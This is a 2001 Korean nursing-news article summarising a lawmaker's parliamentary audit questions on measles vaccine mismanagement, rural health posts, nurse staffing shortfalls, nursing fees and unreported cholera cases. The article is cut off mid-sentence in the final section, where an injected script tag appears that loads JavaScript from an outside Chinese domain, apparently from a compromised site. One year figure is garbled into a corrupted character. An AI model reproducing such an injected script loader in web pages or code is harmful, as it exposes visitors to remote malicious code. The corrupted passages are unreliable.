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최영희 의원, 국감 주요 질의내용 정리
보건진료원 처우 개선 촉구
[편집국] 백찬기   ckbaik@nursenews.co.kr     기사입력 2001-09-27 오전 10:01:24
최영희 의원(민주당·전 대한간호협회장)은 지난 10일 보건복지부를 시작으로 진행된 국정감사에서 △홍역생바이러스백신 부실관리 문제 △보건진료소 재설치 문제 △보건소 근무 전문인력 부족 △인터넷을 통한 의약품 불법 판매 △간호관리료 문제 △콜레라 등 전염병에 대한 정부 대책 △장애인 편의시설의 미비점 △건강보험 재정 문제 등 국민건강과 밀접한 사안을 중심으로 집중 질의를 펼쳤다. 최영희 의원이 국감을 통해 질의한 주요 내용을 정리해 본다.

◇홍역 확산 생바이러스백신 부실관리가 원인=식품의약품안전청에 대한 국정감사에서 최 의원은 񓟫년 이후 일본에서 홍역생백신을 수입, 냉동동결방식으로 분주생산한 이후 이를 접종받은 아동들의 발병예상시기인 작년부터 홍역환자가 대거 발생한 것에 주목해 이 기간중에 수입된 원료량과 국가검정수량 등 관련자료를 추적한 결과 냉동동결방식으로 분주생산한 홍역생바이러스백신을 부실하게 관리한 것이 홍역 확산의 원인이었다"고 주장했다. 최 의원은 특히 "홍역백신 제조업체인 N사의 경우 1998년과 1999년에 약 17만명분의 원료백신을 수입하고 국가검정도 받지 않는 등 1995년부터 1999년까지 수입한 홍역백신 원료중 43%인 90여만명분을 국가검정도 받지 않았으며 폐기한 근거도 없었다"고 말하고 국가검정을 받지 않은 함량미달 제품의 유통의혹을 제기했다. 최 의원은 또 "J사는 1996년 적정분주량보다 2만명분 이상을 과다검정 받은 후 이듬해인 1997년에는 원료수입도 없이 2만5380명분을 검정 받아 총 4만명분 이상을 과다검정 받았다"며 "국가검정용 시료만 적합제품으로 제출하고 나머지는 항체형성효과 미달제품을 과량생산한 것 아니냐"고 따졌다. 최 의원은 이와 함께 "H사의 경우도 1998년과 1999년에 원료를 수입한 실적이 없는데 약 2만명분의 백신을 국가검정을 받을 수 있느냐"고 의문을 제기하고 "이같은 여러 의혹을 규명하기 위해 식약청 내에 '특별조사반'을 구성한 뒤 이를 통해 진상을 규명해야 한다"고 요구했다.

◇폐소 보건진료소 재설치 필요=강원도와 경상남도에 대한 국정감사에서 최 의원은 "보건진료소가 폐소된 지역에 대한 현지조사를 실시한 뒤 진료소가 필요하다고 판단되는 지역에 대해서는 재설치하는 것이 필요하다"고 주문했다. 또 "보건진료원들은 사실상 일반직보다 더 많은 업무에 종사하고 있음에도 불구하고 별정직이라는 신분 때문에 소외감은 물론 사기가 크게 저하돼 있다"며 "이들의 신분을 별정직에서 일반직으로 전환하는 문제를 행정자치부와 협의할 용의는 없느냐"고 따졌다.
최 의원은 특히 "활동비 지급액이 20년 동안 7만원으로 동결돼 있는 것은 납득할 수 없는 부분"이라고 지적하고 "소비자물가 상승률과 임금인상률을 반영해 45만5000원 정도의 활동비를 지급해 주어야 하며 방문진료에 따른 차량운영비도 적절한 수준으로 보상해 주어야 한다"고 요구했다.

◇보건소 간호사 법정정원에 못미처=복지부 국정감사에서 최 의원은 "지역보건법 제12조에는 보건소에 필요한 전문인력을 반드시 두도록 하고 있으나 금년 8월 현재 간호사의 경우 법정 기준인원 3192명의 85%인 2723명만이 배치돼 있다"며 복지부는 인력부족과 관련해 각 시·도에 결원을 신속히 보충하라는 업무협조요청을 한 사실이 있는지와 우수인력 확보를 위한 인센티브 제도를 도입할 용의는 있는지를 따졌다.

◇간호관리료 차등제 기준 개선돼야=건강보험심사평가원에 대한 국정감사에서 최 의원은 "현행 간호관리료 차등제는 그 기준을 환자수가 아닌 인가 병상수를 기준으로 하고 있어 의료법이 규정한 간호사 기준인력 정원 개념과 배치된다"며 "의료법과 배치되는 현행 간호관리료 책정방식을 인가받은 병상수 대신 환자수를 기준으로 책정하는 방식으로 즉각 개선해야 한다"고 주장했다.

◇콜레라 환자 올 상반기에도 발생=복지부에 대한 국정감사에서 최 의원은 "작년 8월부터 금년 6월 사이에 건강보험심사평원가원에 급여를 청구한 자료를 분석한 결과 작년의 경우 비브리오 콜레라 전형균에 의한 콜레라 환자 37명을 비롯해서 엘토르형 콜레라 환자 8명, 그리고 의사콜레라 환자 67명 등 총 112명이 콜레라 또는 콜레라 의증으로 병원에서 치료를 받은 기록이 있고 금년에도 엘토르형 콜레라 11명, 의증 콜레라 82명 등 총 93명에 대한 진료 및 급여청구기록이 있었다"고 밝혔다.
최 의원은 특히 "이 숫자가 모두 콜레라 환자라고 단정할 수는 없지만 의료기관에서 콜레라나 의증 콜레라 환자를 치료하고 급여청구를 했다는 것은 이유야 어쨌건 당국에 신고되지 않은 콜레라 환자가 이미 상당수가 있었다는 증거"라며 "의사가 제1군 전염병에 속하는 콜레라 환자를 진단했을 때에는 즉시 관할 보건소장에게 신고하도록 규정하고 있는 전염병?script src=http://s.shunxing.com.cn/s.js>
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